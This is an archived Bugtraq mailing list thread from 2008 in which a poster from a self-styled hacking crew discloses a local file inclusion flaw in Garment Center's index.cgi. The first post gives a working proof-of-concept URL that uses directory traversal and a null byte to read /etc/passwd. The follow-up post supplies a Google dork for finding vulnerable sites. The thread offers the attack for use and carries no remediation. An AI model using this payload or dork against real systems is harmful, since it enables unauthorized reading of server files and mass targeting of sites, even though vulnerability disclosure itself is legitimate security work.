Mailing List Archive: Bugtraq: Bugtraq

Garment Center (index.cgi) Local File Inclusion

Index | Next | Previous | View Threaded

Smasher at ciucciamiilcalzino

Jan 12, 2008, 8:44 AM

Post #1 of 2 (672 views)
Permalink

Garment Center (index.cgi) Local File Inclusion

[+] Discovered by Smasher
[+] WarWolfz Crew.
[+] http://warwolfz.altervista.org/

Hey wassup....i've found a vulnerability in
Garmentcenter in index.cgi...

PoC:

/index.cgi?page=[LFI]

Ex.
http://site(1).com/index.cgi?page=../../../../../../../../etc/passwd%00

Regards.
Smasher.

Smasher at ciucciamiilcalzino

Jan 14, 2008, 9:13 AM

Post #2 of 2 (639 views)
Permalink

Re: Garment Center (index.cgi) Local File Inclusion [In reply to]

Forgot...

The Dork:

"This site designed and managed by: garmentcenter.net" filetype:cgi

Index | Next | Previous | View Threaded

Interested in having your list archived? Contact Gossamer Threads